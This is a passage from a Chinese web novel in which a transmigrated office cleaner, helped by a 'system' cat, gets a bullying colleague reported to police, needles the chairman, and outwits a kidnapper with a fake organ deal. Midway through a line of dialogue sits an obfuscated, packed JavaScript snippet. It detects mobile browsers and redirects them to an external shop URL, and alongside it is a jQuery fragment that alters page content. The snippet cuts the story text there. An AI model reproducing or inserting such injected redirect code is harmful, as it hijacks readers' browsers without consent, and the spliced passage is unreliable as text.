“看到了,‘狐狸精’什么的,好过分。” “肯定是嫉妒人家被董事长看上了。” “嘘,小声点,说不定骂人的就在群里。” “怕什么,又没指名道姓。” 涂腾的脸色越来越黑。 “谁干的?”他的声音冷得像冰。 “不知道,监控没拍到脸。”颜淳收回手机,“所以我说,她太单纯了,容易被人欺负。” 涂腾沉默了几秒钟,然后说:“我会查清楚的。” “您查?”颜淳挑眉,“您一个董事长,亲自查这种小事?” “这不是小事。” “对您来说不是小事,但对公司来说,这就是小事。”颜淳说,“您要是亲自下场,事情只会越闹越大。到时候全公司都知道您为了一个前台在查员工,传出去多难听。” 涂腾张了张嘴,说不出话。 “那你说怎么办?” “报警。”颜淳说。 “……报警?” “对,贴匿名告示骂人,这是诽谤,可以报警。” 涂腾愣住了。 他看着颜淳那张平静的脸,突然觉得这个女人跟他不是活在同一个世界。 “小颜,你是认真的吗?” “我很认真。”颜淳说,“有人违法了,就应该报警。这不是小事,这是原则问题。” 涂腾沉默了。 他从来没想过,这种事情可以报警。 在他的世界里,这种事情的处理方式是——找到那个人,开除她,或者威胁她,或者让她在行业里混不下去。 报警? 那是普通人的做法。 他是董事长,怎么能报警? “我再想想。”涂腾说。 “行,您慢慢想。”颜淳继续拖地,“我先提醒您,如果不尽快处理,明天可能还会有第四张、第五张告示。” 花十五分钟拖完了地,工作完成的颜淳在休息室吃苹果。 门被敲响了。 “进来。” 留念念推门进来,眼睛还是红红的。 “颜姐……” “怎么了?” “我……我想辞职。”留念念的声音带着哭腔。 颜淳看了看哭的梨花带雨的美人,不自觉放下苹果,看着她。 “因为那些告示?” “嗯……”留念念的眼泪又掉下来了,“我才来公司几天,就被人这样骂。我什么都没做,我只是……只是……” “只是什么?” “只是那天在楼下被涂董求婚了。”留念念擦了擦眼泪,“但那不是我的错啊,我又没让他求婚。” 颜淳叹了口气。 这姑娘,确实挺冤的。 什么都没做,就被贴了“狐狸精”的标签。 “你不想查清楚是谁干的吗?”颜淳问。 “查清楚了又怎样?”留念念苦笑,“她是老员工,我是新来的。公司会为了一个新来的前台,去处理一个老员工吗?” “会。”颜淳说。 留念念愣住了。 “颜姐,你说什么?” “我说会。”颜淳站起来,“你别急着辞职,这件事我来处理。” “你来处理?” “对。”颜淳拍了拍她的肩膀,“你先回去上班,别哭了。妆都花了,待会儿怎么见人?” 留念念擦了擦眼泪,点了点头。 “谢谢颜姐。” “不客气。” 留念念走后,小猫咪在颜淳脑海里问:“宿主,你真要处理这件事?这件事情明明不关你的事情呀?让男主处理就好了呀?” “小七啊,你还记得原剧情里男主是怎么处理这件事情的嘛?” “emmmm,男主确实很不靠谱了。” 因为原剧情里男主查了一个月也没有查出来,女主被大家说了一个月的闲话,每天都哭红了双眼,上来一个月的班,整个人瘦了一圈,原剧情还用“惹人怜爱”来形容。 “这明明是由男色引起的职场霸凌啊!” “我们要整顿职场,虽然男女主有点癫,但职场霸凌更恶心人!” “好,那宿主我们怎么处理?” “先找到是谁干的。” “怎么找?” 颜淳嘴角一翘:“用你的能力。” “我的能力?” “你不是系统吗?查一下监控,人脸识别,把那个戴口罩的人找出来。” “宿主,我是系统,不是监控探头。” “你有这个能力对吧?” “……有。” “那不就得了。”颜淳咬了一口苹果,“查吧。” 小猫咪无奈地开始调取监控数据。 三秒钟后,它说:“查到了。” “谁?” “市场部李总监。” 颜淳挑了挑眉。 市场部总监,李婉儿。 原著里的第一女配。 “果然是女配干的。”颜淳说,“小七,把她的资料调出来。” “收到。” 小猫咪把李婉儿的资料投射到颜淳的脑海里: 李婉儿,28岁,辉腾集团市场部总监。名校MBA毕业,能力出众,长相漂亮,是公司里有名的“冰山美人”。暗恋涂腾三年,表白过两次都被拒绝。性格高傲,手段狠辣,是原著里第一个对女主出手的女配。 “暗恋三年,表白两次都被拒。”颜淳啧了一声,“这姑娘执念有点深啊,这要是我早就化悲愤为实力了,更何况在小说世界,努力发奋把集团搞破产啊,桀桀桀桀桀。” “宿主,你打算怎么办?” “报警。”颜淳掏出手机。 “报警?!” “当然报警。”颜淳面不改色,“她贴匿名告示骂人,这是违法行为。不报警难道我私下找她打架?” “你可以找她谈谈啊。” “谈什么?谈‘你为什么要贴告示骂人’?”颜淳摇头,“我又不是居委会大妈。这种事,交给警察处理最合适。” “可是……” “没有可是。”颜淳已经拨出了110。 “喂,你好,我要报警。” 上午十一点,警察来了。 两辆警车停在辉腾集团大楼门口,四个穿着制服的警察走进大厅。 前台王姐吓得差点从椅子上摔下来。 “同……同志,你们找谁?” “我们接到报警,说你们公司有人贴匿名告示诽谤他人。”领头的警察说,“请配合调查。” 消息传得比风还快。 不到三分钟,全公司都知道警察来了。 公司群彻底炸了: “什么情况?!警察怎么来了?!” “听说是有人贴告示骂前台,被报警了。” “贴个告示也能报警?!” “诽谤啊,当然能报警。” “谁报的警?这么刚?” “不知道,但我觉得干得漂亮。” “+1,那种匿名骂人的最恶心了。” “查出来是谁了吗?” “听说监控拍到了,是市场部的。” “市场部的谁???” “等通报吧。” 涂腾从顶楼冲下来的时候,警察已经在大厅里开始调取监控了。 “谁报的警?”他问王姐。 “是……是颜姐。”王姐指了指站在旁边的颜淳。 涂腾转头看向颜淳。 “你报的警?” “对。”颜淳点头。 “我不是说了我再想想吗?” “您想得太慢了。”颜淳说,“您想一天,她就多被骂一天。与其等您想清楚,不如直接报警,效率最高。” 想想想,想个屁。 涂腾深吸一口气。 他想发火,但发现发不出来。 因为颜淳说的没错。 他确实想得太慢了。 “警察同志,”涂腾走过去,“这件事我来处理,不用麻烦你们了。” “你是谁?”领头的警察问。 “我是辉腾集团的董事长,涂腾。” “董事长?”警察看了他一眼,“那正好,你来配合一下调查。有人报警说你们公司有员工诽谤他人,我们需要调取监控录像。” 涂腾的脸色很复杂。 他一个堂堂董事长,因为一张匿名告示被警察找上门。 这事儿传出去,他的脸往哪搁? “警察同志,这件事我们内部处理就行……” “内部处理?”警察皱眉,“有人报警了,我们就得立案调查。这是程序,不是你说内部处理就能内部处理的。” 涂腾看向颜淳。 颜淳耸了耸肩,表示“我也没办法”。 涂腾深吸一口气。 “行,你们查吧。” 监控调出来了。 虽然贴告示的人戴了帽子和口罩,但身形和步态是藏不住的。 警察反复看了几遍监控,然后说:“这个人我们基本能确定是谁了。你们公司有没有一个身高一米六五左右、体型偏瘦、走路左脚有点外八的女性员工?” 王姐想了想,说:“市场部的李总监好像就是左脚有点外八。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446843|201101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李总监?全名?” “李婉儿。” “好,我们去市场部了解一下情况。” 警察走了。 大厅里剩下涂腾和颜淳。 涂腾的脸黑得像锅底。 “李婉儿。”他咬牙切齿地念出这个名字。 “涂董,您认识她?”颜淳明知故问。 “……她是市场部总监。” “哦,那您跟她熟吗?” 涂腾沉默了。 他跟李婉儿何止是熟。 李婉儿追了他三年,表白了两次,全公司都知道。 但现在,他不可能跟颜淳说这些。 “不熟。”他说。 “不熟就好。”颜淳点点头,“那这件事就交给警察处理吧,您不用操心了。” 涂腾看了她一眼,转身走了。 颜淳看着他气呼呼的背影,笑得更嗨了。 “宿主,男主好像很生气。”小猫咪说。 “他不是生气,是尴尬。”颜淳说,“自己喜欢的女人被另一个喜欢自己的女人骂了,还报了警,警察都来了。这事儿换谁谁不尴尬?” “宿主,你是不是故意的?” “什么故意的?” “你知道是李婉儿干的,还报警。” “当然知道是她。”颜淳说,“但我不知道她为什么要这么做,让警察去问问,说不定能问出什么来。” “你好狠。” “这叫正义。”颜淳转身走向休息室,“好了,去吃午饭吧。今天食堂有什么?” “红烧肉。” “走!” 至于最后什么结果,哈哈,关她什么事情,反正报警了之后这种类型的职场霸凌肯定会少很多的。 整顿职场从我做起。 今天的小红花更亮了呢~ 这个世界警察的效率很快,不一会儿就带着李婉儿走了。 她在审讯室里承认了,说是因为看不惯留念念“勾引”涂腾,所以才写了那些告示。 警察问她:“你知不知道这种行为是违法的?” 李婉儿说:“我就是写了几句话,怎么就违法了?” 警察说:“《治安管理处罚法》第四十二条,写恐吓信或者以其他方法威胁他人人身安全的,或者公然侮辱他人或者捏造事实诽谤他人的,处五日以下拘留或者五百元以下罚款;情节较重的,处五日以上十日以下拘留,可以并处五百元以下罚款。” 李婉儿愣住了。 她大概从来没想过,自己写的那几句话,居然能跟法律扯上关系。 最终,李婉儿被处以七日行政拘留,罚款五百元。 警察把结果通知了公司。 消息传开后,公司群又炸了: “李总监被拘留了?!真的假的?!” “真的,警察刚发的通知。” “天哪,就为了贴几张告示,至于吗?” “至于!诽谤就是违法,不管你是谁。” “我以后再也不敢乱说话了。” “+1,法治社会,人人有责。” “话说,是谁报的警啊?太刚了。” “听说是保洁部的颜姐。” “对,就是她。” “颜姐牛逼!!!” “颜姐永远的神!!!” 颜淳看着群里的消息,嘴角翘得老高。 “宿主,你火了。”小猫咪说。 “低调低调。”颜淳摆摆手,“我只是做了应该做的事。” “你现在在公司里的声望已经超过男主了。” “那当然。”颜淳得意地说,“正义使者+报警抓人,这操作谁能比?” 快下班的时候,颜淳突然收到了涂腾发了一条消息: “小颜,来我办公室一趟。” 最讨厌快下班时候领导给人派活了! 任何影响我下班的都是敌人! 颜淳走进办公室的时候,涂腾正站在落地窗前,看着楼下的车流。 “涂董,您找我?” “坐。”涂腾指了指沙发。 颜淳当然直接坐下。 “今天的事,谢谢你。” 颜淳眨了眨眼。 谢谢她? 男主跟她说谢谢? 这个世界是不是更颠了? “不客气。”颜淳说,“应该的。” “我问你一个问题。”涂腾说。 “您说。” “你为什么对念念这么好?你们之前认识?” “不认识。”颜淳摇头,“我只是觉得,一个刚入职的小姑娘,什么都没做错,被人这样欺负,不应该。” “就因为这个?” “就因为这个。” 涂腾盯着她看了几秒钟。 “你是一个好人。”他说。 颜淳差点笑出声。 好人? 她一个穿越过来的社畜,被一个小说男主发好人卡? “谢谢涂董夸奖。”她忍着笑说。 “还有一件事。”涂腾说,“我爸刚才给我打电话了。” “老董事长说什么了?” “他说你做得对,让我向你学习。” 颜淳终于忍不住笑了出来。 “老董事长过奖了。” “他还说,下个月你的工资加到二十五万。” 颜淳的笑容僵住了。 二十五万?! 一个月二十五万?! “涂董,您不是在开玩笑吧?” “我爸从来不开玩笑。”涂腾的语气里带着一丝无奈,“他说你值这个价。” 颜淳深吸一口气。 月薪二十五万。 保洁。 这个世界,真的颠了。 傍晚,颜淳准备下班的时候,留念念来找她了。 “颜姐!”留念念的眼睛还是红红的,但这次不是哭的,是感动的,“谢谢你!” “不客气。”颜淳说,“你好好上班就行,别想太多。” “嗯!”留念念用力点头,“颜姐,你以后有什么需要我帮忙的,尽管说!” “行,那我先走了。” 颜淳走出大楼,夕阳的余晖洒在她身上,整个人散着耀眼的光芒。 “小七,今天是不是太顺利了?” “宿主,你是指什么?” “报警抓人,男主感谢我,老董事长加工资,女主感激我。”颜淳掰着手指头数,“这才一天,事情就全解决了。” “这不挺好的吗?” “是挺好的。”颜淳说,“但我总觉得,这个世界不会这么简单。” “为什么?” “因为这是小说世界。”颜淳说,“平静只是暴风雨前的宁静。” “宿主你想多了吧?” “希望吧。” 7. 鸡蛋灌饼复仇记 刚解决完一个女配,第二个女配又冒了出来。 这天,颜淳到公司的时候,发现前台多了一个人。 一个穿着香奈儿套装的女人,站在前台旁边,正在跟王姐说话。她的头发烫成大波浪,妆容精致,指甲涂着大红色的甲油,浑身上下散发着“我很贵”的气场。 财务部赵经理,赵雅芝。 不是那个赵雅芝,是重名。 原著里的第二女配。 “小七,她怎么来了?”颜淳在脑海里问。 “宿主,她是财务部经理,来前台是正常的工作往来。”小猫咪说,“但她对男主也有意思,是女配二号。” “我知道。”颜淳看着赵雅芝的背影,“她看起来比李婉儿正常多了。” “表面正常而已。”小猫咪说,“原著里她对女主做的事情更过分。” “比如?” “比如在财务上做手脚,诬陷女主贪污。” “……这也太老套了吧,而且女主只是个前台,又不涉及财务,怎么贪污?” “霸道总裁文嘛,都这样。” “离大谱。” 颜淳摇了摇头,走向电梯。 但她没走几步,就被叫住了。 “等一下。” 赵雅芝转过身,看着颜淳。 “你是保洁部的?” “对。”颜淳点头。 “董事长办公室的卫生是你负责的?” “对。” “那你注意一下,董事长办公室的财务文件不要乱动。” 颜淳挑眉。 “赵经理,我只打扫卫生,不动文件。” “那就好。”赵雅芝点了点头,“我只是提醒你一下,毕竟财务文件很重要,万一丢了,你赔不起。” 颜淳看着赵雅芝的背影,嘴角抽了抽。 “小七,她这是在威胁我?” “算是吧。”小猫咪说,“她可能在试探你。” “试探我什么?” “试探你是不是老董事长的人。” “我是保洁,不是特务。”颜淳翻了个白眼,“这个世界的人是不是都有被害妄想症?” “宿主,你确实是老董事长的人啊。” “……那是工作关系,不是特务关系。” “在他们眼里,没有区别。” 颜淳深吸一口气,决定不跟这些人一般见识。 她走进电梯,按下了顶楼的按钮。 依旧是上午九点,颜淳正在董事长办公室擦桌子。 不过今天董事长准点上班了。 涂腾坐在办公桌前,盯着电脑屏幕,眉头紧锁。 “小颜。”他突然开口。 “嗯?” “你说,念念会不会因为李婉儿的事,不敢再来上班了?” 颜淳手里的抹布顿了一下。 “涂董,您一个董事长,上班时间不想着怎么赚钱,想这些?” “我在想正事。” “您想的是正事?”颜淳挑眉,“您想的是怎么追前台,这是正事?” 涂腾的脸红了。 不是生气的那种红,是尴尬的那种红。 “我……我只是关心员工。” “行,您关心员工。”颜淳继续擦桌子,“那您直接问她啊,问我有什么用?” “我怕她不理我。” 颜淳停下动作,看着涂腾。 堂堂霸道总裁,说“我怕她不理我”。 这个画面,真的太离谱了。 “涂董,您知道您现在的样子像什么吗?” “像什么?” “像初中生追女生。” 涂腾的脸更红了。 “我不是……” “您是。”颜淳打断他,“您追女生的水平,跟初中生差不多。送花、单膝跪地、当着全公司的面求婚——这些操作,初中生都不一定干得出来。” 涂腾张了张嘴,说不出话。 “小颜,你是不是在骂我?” “没有,我在陈述事实。”颜淳面不改色,“您想追念念,可以。但您能不能换个方式?不要每次都搞得全公司都知道?您不要面子,念念还要面子呢。” 涂腾沉默了。 他想了想,觉得颜淳说的好像有点道理。 “那你说,我该怎么办?” “我建议您,先从普通朋友做起。”颜淳说,“多了解她,知道她喜欢什么、不喜欢什么。不要一上来就送花、求婚,太吓人了。” “可是我对她一见钟情……” “一见钟情是您的事,她接不接受是另一回事。”颜淳说,“您不能因为自己对人家一见钟情,就要求人家也对您一见钟情。这不叫爱情,这叫强买强卖。” 涂腾又被噎住了。 他发现,每次跟颜淳说话,他都会被噎住。 这个女人,说话太直接了。 直接到他无法反驳。 “行了,我知道了。”涂腾摆了摆手,“你出去吧。” “好的涂董。” 颜淳走出办公室,轻轻关上门。 “宿主,你刚才是在教男主谈恋爱?”小猫咪问。 “不是教,是纠正。”颜淳说,“他的恋爱方式太离谱了,我得帮他正常一点。” “为什么要帮他?” “因为他正常了,这个世界才能正常。”颜淳说,“这个世界正常了,我才能安心吃鸡蛋灌饼。” “宿主,你对鸡蛋灌饼的执念好深。” “你不懂,鸡蛋灌饼是我在这个世界的精神支柱。” 中午十二点,颜淳在食堂吃饭。 她打了一份红烧肉、一份油爆虾、一份韭黄炒蛋、一份炖牛腩、一份炒青菜、一碗米饭,找了个角落的位置坐下。 刚吃了两口,对面坐下来一个人。 留念念。 “颜姐!”留念念端着一碗面,笑嘻嘻地看着她,“我能坐这儿吗?” “你都坐下了,还问我?” “嘿嘿。”留念念不好意思地笑了笑,“颜姐,上次的事,真的谢谢你。” “什么上次的事?” “就是李婉儿的事啊。”留念念压低声音,“你报警把她抓了,公司里都在传。” “传什么?” “传颜姐你是隐藏的正义使者。” 颜淳差点把嘴里的饭喷出来。 “正义使者?” “对啊!”留念念认真地说,“有人说你是老董事长派来的,专门整顿公司风气的。” “我是保洁,不是纪检委。” “可是你真的好厉害啊。”留念念眼里闪着崇拜的光,“一般人遇到这种事,要么忍了,要么私下吵架。你直接报警,干净利落。” 颜淳擦了擦嘴,看着留念念。 “念念,你知道我为什么报警吗?” “为什么?” “因为我不想浪费时间。”颜淳说,“私下吵架太累了,你一句我一句,吵半天也没结果。报警多快,警察来了,带走,完事。” 留念念听得一愣一愣的。 “颜姐,你好酷。” “这不叫酷,这叫懒。”颜淳继续吃饭,“我只是懒得跟那些人纠缠。” “那我也想像你一样懒。” “……你还是别了。”颜淳看了她一眼,“你太单纯,学不来。” 留念念瘪了瘪嘴,低头吃面。 吃了几口,她又抬头:“颜姐,涂董今天给我发消息了。” “发什么了?” “问我今天心情怎么样,有没有人欺负我。” “然后呢?” “我说没有。”留念念咬了咬筷子,“颜姐,你说涂董是不是……对我有意思?” 颜淳放下筷子,看着留念念。 这姑娘,是真傻还是装傻? 这年头傻白甜女主都这样?总不会等你俩修成正果了还来问我这个保洁“他到底爱不爱我”吧? 涂腾在大厅单膝跪地求婚,全公司都看到了,她还问“是不是对我有意思”? “念念,你觉得一个男人,当着全公司的面给你送花、单膝跪地、说‘做我女朋友好吗’,他对你有没有意思?” 留念念的脸一下子红了。 “那……那是他一时冲动吧?” “一时冲动?”颜淳挑眉,“那他今天给你发消息,也是一时冲动?” 留念念说不出话了。 “念念,我跟你说实话。”颜淳认真地看着她,“涂董对你有意思,而且是很有意思。但你要想清楚,他是不是你想要的那个人。” “我……我不知道。” “那就慢慢想,不着急。”颜淳说,“但是在你想清楚之前,保护好自己。” “怎么保护?” “首先,不要单独跟他去没人的地方。”颜淳掰着手指头数,“其次,他送的东西不要随便收。再次,他说什么‘我把命给你’之类的话,当耳边风就行。” 留念念听得目瞪口呆。 “颜姐,你怎么知道他会说‘我把命给你’?” “猜的。”颜淳面不改色。 她总不能说“因为我看过原著剧本”吧。 下午三点,颜淳正在休息室午睡。 门被敲响了。 “小颜,你在吗?” 是涂建国的声音。 颜淳赶紧爬起来,整理了一下头发,打开门。 “董事长?您怎么来了?” “路过,顺便看看你。”涂建国走进休息室,环顾四周,“你这休息室也太小了,回头我给你换个大点的。” “不用不用,这已经很好了。”颜淳连忙摆手。 涂建国在椅子上坐下,看着颜淳。 “小颜,我今天来找你,是有件事想跟你商量。” “您说。” “你觉得,念念那个小姑娘怎么样?” 颜淳眨了眨眼。 怎么又是问留念念的? 今天第二个人了。 “挺好的。”她说,“干活认真,对同事客气,笑起来挺好看的。” “嗯。”涂建国点了点头,但眉头微微皱着,“我让HR查了一下她的背景。” “然后呢?” “普通家庭,父母都是工薪阶层,学历普通,没什么特别的。”涂建国顿了顿,“我不是说她不好,只是……跟我们家不太搭。” 颜淳明白了。 老董事长的意思是——门不当户不对。 “董事长,您是担心她冲着钱来的?” 涂建国看了她一眼,没说话,算是默认了。 “董事长,我跟念念接触不多,但我觉得她不是那种人。”颜淳说。 “你怎么知道?” “直觉。”颜淳说。 “行,那我再看看吧。”他说,“你先帮我盯着,别让那个臭小子搞出什么乱子。” “好的董事长。” 涂建国站起来,走到门口,又回头说:“对了,小颜,这个月工资再给你加五万。” 颜淳一愣:“董事长,为什么突然加工资?” “你报警抓李婉儿的事,做得不错。”涂建国说,“公司里就是需要你这样敢作敢为的人。那个李婉儿,我早就想把她弄走了,一直找不到理由。你帮我省了不少麻烦。” “那……谢谢董事长。” “不客气。继续帮我盯着那个臭小子,别让他再给我丢人。” 门关上了。 颜淳站在原地,掰着手指头算了一下。 月薪二十五万,加五万,三十万。 保洁。 月薪三十万。 “小七,这个世界是不是彻底疯了?” “宿主,你才发现吗?” 既然如此,颜淳决定做一件事。 她拿出手机,打开外卖软件,下单了五十个鸡蛋灌饼。 备注:不要切开,整张送。不要香菜,谢谢。 “宿主,你买这么多鸡蛋灌饼干嘛?”小猫咪问。 “请全公司的人吃。” “这么大方?” “对,请。”颜淳说,“但不是白请。” “什么意思?” “我要让全公司的人都知道——踩我的鸡蛋灌饼,是要付出代价的。” 小猫咪打了个寒颤。 “宿主,你要干嘛?” “你等着看就行了。” 下午四点,五十个鸡蛋灌饼送到了。 颜淳推着一辆小推车,把饼运到一楼大厅。 她在大厅中央摆了一张桌子,把鸡蛋灌饼整整齐齐地码在上面。然后拿出一张纸,用马克笔写了一行大字,贴在桌子前面: “免费领取,每人一 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涂腾走过去,看到桌子前面那张告示。 “上次踩我饼的那两位,请自动绕行。” 他的脸黑了。 “小颜,你这是什么意思?” “字面意思。”颜淳头也不抬。 “我不是故意的。” “知道。”颜淳终于抬头看他,“但您还是踩了。” “我赔你钱。” “不要。” “那你要什么?” “我要您记住,以后走路看着点。”颜淳说,“下次再踩我的饼,我直接发公司全员邮件,标题就叫‘董事长踩饼纪实’。” 大厅里安静了一秒。 然后爆发出震耳欲聋的笑声。 涂腾的脸从黑变红,从红变紫。 他张了张嘴,想说什么,但发现说什么都不对。 最后,他转身走了。 身后传来员工的窃窃私语: “董事长被颜姐怼了哈哈哈哈!” “颜姐太刚了!” “我宣布,颜姐是我在公司最崇拜的人,没有之一。” “+1” 涂腾的脚步越来越快,几乎是跑着进了电梯。 下午五点,鸡蛋灌饼发完了,一点都不影响大家下班。 五十个饼,全部发光。 颜淳坐在椅子上,揉着发酸的手腕。 “宿主,你今天这一招好狠。”小猫咪说,“当众让男主下不来台。” “我没让他下不来台。”颜淳说,“我只是在陈述事实。” “你在全员面前说他踩你的饼,这不是让他下不来台?” “他确实踩了。”颜淳面不改色,“我只是在提醒他以后注意。” “你好狠。” “谢谢夸奖。” 颜淳站起来,收拾桌子。 手机震动了。 她掏出来一看——公司群的消息: “今天的鸡蛋灌饼太好吃了!” “颜姐什么时候再发?” “颜姐说了,看她心情。” “那颜姐今天心情怎么样?” “心情应该不错吧,毕竟怼了董事长。” “哈哈哈哈哈哈!” “你们说,董事长现在在顶楼干嘛?” “可能在生闷气吧。” “也可能在反思自己为什么要踩颜姐的饼。” “不管怎样,我觉得颜姐是公司里最不能惹的人。” “+1,惹颜姐=没有鸡蛋灌饼吃=人生失去意义。” 颜淳看着这些消息,嘴角翘得老高。 “宿主,你现在是公司里最受欢迎的人了。”小猫咪说。 “那当然。”颜淳得意地说,“发饼发出来的声望,比干活干出来的声望快多了。” 五点半,颜淳准备下班的时候,留念念来找她了。 “颜姐!”留念念手里提着两个袋子,“这是我买的鸡蛋灌饼,赔给你的!” 颜淳打开袋子看了看——两个全家福,加鸡蛋加培根,还热着。 “你什么时候去买的?” “刚才,趁你发饼的时候。”留念念不好意思地说,“我知道你不收钱,但饼你一定要收下。” 颜淳看着留念念真诚的眼神,叹了口气。 “行,我收了。” “那你不生气了吧?” “我本来就没生气。”颜淳说,“我只是心疼我的饼。” “以后你的饼我包了!”留念念拍着胸脯说。 “你一个月工资多少?” “五千……” “你包不起。”颜淳拍了拍她的肩膀,“心意领了,饼我自己买。” 留念念瘪了瘪嘴,走了。 颜淳看着手里的两个鸡蛋灌饼,嘴角微微翘起。 这姑娘,虽然踩了她的饼,但人品不坏。 老董事长担心她是冲着钱来的,应该是多虑了。 晚上,颜淳洗完澡,躺在床上刷手机。 涂建国给她发了一条消息: “小颜,听说你今天发饼了?” “是的董事长。” “那个臭小子又惹你了?” “没有,只是提醒他以后走路看着点。” “哈哈哈,好!就该这么治他!” 颜淳看着这条消息,忍不住笑了。 这父子俩,一个比一个有意思。 “小七。”她在脑海里说。 “嗯?” “这个世界,好像也没那么糟糕。” “宿主,你之前不是想着要赶紧离开吗?” “那是之前。”颜淳翻了个身,“现在有三十万月薪,有免费鸡蛋灌饼,还有一堆让我吐槽的素材,我觉得可以多待一阵。” “宿主,你是不是爱上这个世界了?” “不是爱,是习惯。”颜淳说,“习惯了离谱,就觉得不离谱的世界反而不正常了。” “宿主,你这个想法很危险。” “我知道。”颜淳闭上眼睛,“但我乐意。” 8. 不懂法的富家千金 颜淳正在休息室吃鸡蛋灌饼。 今天的饼是她自己买的,四个全家福,加鸡蛋加培根,花了七十二块钱。她一边吃一边跟小猫咪聊天,日子过得美滋滋。 “宿主,你今天心情很好啊。”小猫咪蹲在她肩膀上,尾巴一摇一摇的。 “那当然。”颜淳咬了一大口饼,“女配搞定了,男主正常追妻了,月薪三十万了,鸡蛋灌饼自由了。人生还有什么不满足的?” “宿主,你这是在立flag。” “什么flag?” “就是那种——说完‘今天天气真好’下一秒就下雨的flag。” 颜淳翻了个白眼:“小七,你能不能不要这么迷信?” 话音刚落,手机响了。 陌生号码。 颜淳接起来:“喂?” 对面传来一个女人的声音,听起来二十多岁,声音娇滴滴的,但语气很冲:“你是留念念的朋友?” 颜淳挑眉:“你是谁?” “我是谁不重要。重要的是,你朋友在我手上。” 颜淳愣了一下,然后咬了一口饼,含糊不清地说:“哦,然后呢?” 对面显然没想到她是这个反应,沉默了两秒:“然后?你不问问我想干什么?” “你想干什么?” “拿一百万来赎人,不然我挖了她的肾!” 颜淳又咬了一口饼,嚼了嚼,咽下去,慢悠悠地说:“挖肾?你找好买家了吗?” 对面又沉默了。 “没找好我帮你找。”颜淳语气真诚,“我认识一个黑市中介,价格公道,童叟无欺。你要什么血型的?念念是O型血,万能供体,价格能高一点。” 电话那头传来一阵混乱的声音,好像那个人把手机捂住了,在跟旁边的人说话。 颜淳趁机又咬了一口饼。 “宿主,你在干嘛?”小猫咪在脑海里问。 “谈判。”颜淳含糊不清地说。 “你管这叫谈判?” “你等着看。” 电话那头重新传来声音:“你别跟我耍花招!我说真的!天黑之前不拿钱来,我就动手!” “行行行,你别急。”颜淳放下饼,擦了擦手,“咱们先谈谈价格。一百万太贵了,念念一个月工资才五千,你让她拿一百万,她拿不出来。要不这样,五十万?” “这不是讨价还价的事!” “怎么不是呢?”颜淳说,“你要钱,我要人,这就是买卖。买卖就要讨价还价,这是基本的商业礼仪。” “你——” “而且你这个价格不合理。”颜淳继续说,“现在黑市上一个肾也就三十万左右,你开口要一百万,这不是抢劫吗?” “我就是抢劫!” “那你不早说。”颜淳叹了口气,“抢劫的话,价格就不是这个算法了。咱们换个思路——你绑架她,要赎金,这是绑票。绑票和卖肾是两码事,你不能混为一谈。” 电话那头安静了。 “要不这样,”颜淳说,“你把人放了,我帮你找买家。卖肾的钱,咱们五五分。” “……你说什么?” “五五分啊。”颜淳说,“你负责绑人,我负责找买家,公平合理。你要是不满意,四六也行,你六我四。” 电话那头传来一阵混乱的声音,好像是绑匪在跟同伙商量。 “宿主,你在教绑匪怎么卖肾?”小猫咪在脑海里问。 “不是教,是合作。”颜淳说,“与其让她把念念的肾挖了,不如我先把肾卖了,钱分她一半,她就不用挖了。” “这什么逻辑?!” “商业逻辑。” 电话那头重新传来声音:“你说真的?” “当然真的。”颜淳说,“我这个人,最讲信用。” “那你怎么找买家?” “我有渠道。”颜淳说,“我认识一个黑市中介,专门做器官生意。你等着,我先问问他。” 颜淳把手机放下,假装打电话。 “喂?李老板吗?对,是我。有个O型血的肾,你要不要?……什么价格?……三十万?太低了,三十五万。……行,三十五万成交。” 她拿起手机:“喂?还在吗?” “在……” “买家找到了,三十五万。按照五五分,你拿十七万五,我拿十七万五。” “……你不是说一百万吗?” “那是绑票的价格。卖肾是另一回事。”颜淳说,“你到底卖不卖?不卖我找别人了。” “卖!卖!” “好,那你把人带过来,我安排交易。” “带到哪?” “城西废弃化肥厂。” “化肥厂不是拆了吗?” “拆了才有气氛。”颜淳说,“黑市交易嘛,越偏僻越好。” “好,我们马上到!” 电话挂了。 小猫咪在颜淳脑海里尖叫:“宿主!你到底在干什么?!你真的要卖念念的肾?!” “当然不。”颜淳站起来,拿起拖把,“我在引蛇出洞。” “什么意思?” “让她们自己送上门来,省得我去找。” “可是她们带了刀怎么办?!” “我带了这个。”颜淳从柜子里拿出一瓶清洁剂,“强力去污,喷眼睛能让人瞎三分钟。” “……宿主,你是魔鬼。” 半小时后,城西废弃化肥厂。 颜淳到的时候,一辆面包车已经停在那里了。 车门打开,下来两个女人。一个年轻的,穿着名牌衣服,化着浓妆,一看就是有钱人家的大小姐。一个中年的,穿着朴素的衣服,看起来像是保姆。 年轻的就是孙菲菲,原著里的又一个女配。 “你就是那个中介?”孙菲菲看着颜淳,上下打量,“你是保洁?” “兼职中介。”颜淳说,“货呢?” 孙菲菲朝车里指了指。留念念被绑着手,蒙着眼睛,嘴里塞着布条,蜷缩在后座上。 “颜姐?!”留念念听到颜淳的声音,拼命挣扎。 “别叫。”颜淳说,“我在谈生意。” 留念念:“???” “货没问题。”颜淳围着面包车转了一圈,“O型血,二十五岁,身体健康,没有遗传病史。三十五万,价格公道。” “你不是说五五分吗?”孙菲菲说。 “对,三十五万,你拿十七万五,我拿十七万五。”颜淳从兜里掏出一沓钱,“这是你的那份。” 孙菲菲接过钱,数了数,眼睛亮了。 “你真的给我?” “当然。”颜淳说,“我说了,我这个人最讲信用。” 孙菲菲看了看钱,又看了看留念念。 “那她现在归你了?” “归我了。”颜淳说,“你可以走了。” 孙菲菲犹豫了一下,然后转身上车。 “等一下。”颜淳叫住她。 “怎么了?” “你回去之后,把今天的事忘掉。”颜淳说,“如果警察问你,你就说没见过我。” “警察?” “对。”颜淳指了指远处,“他们来了。” 远处传来警笛声。 孙菲菲的脸色变了。 “你报警了?!” “不是我报的。”颜淳说,“可能是路过的人看到你们绑架,报了警。” “你——” “快跑吧。” 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“因为她们蠢。”颜淳咬了一口饼,“正常人不会信这种事。” 留念念沉默了。 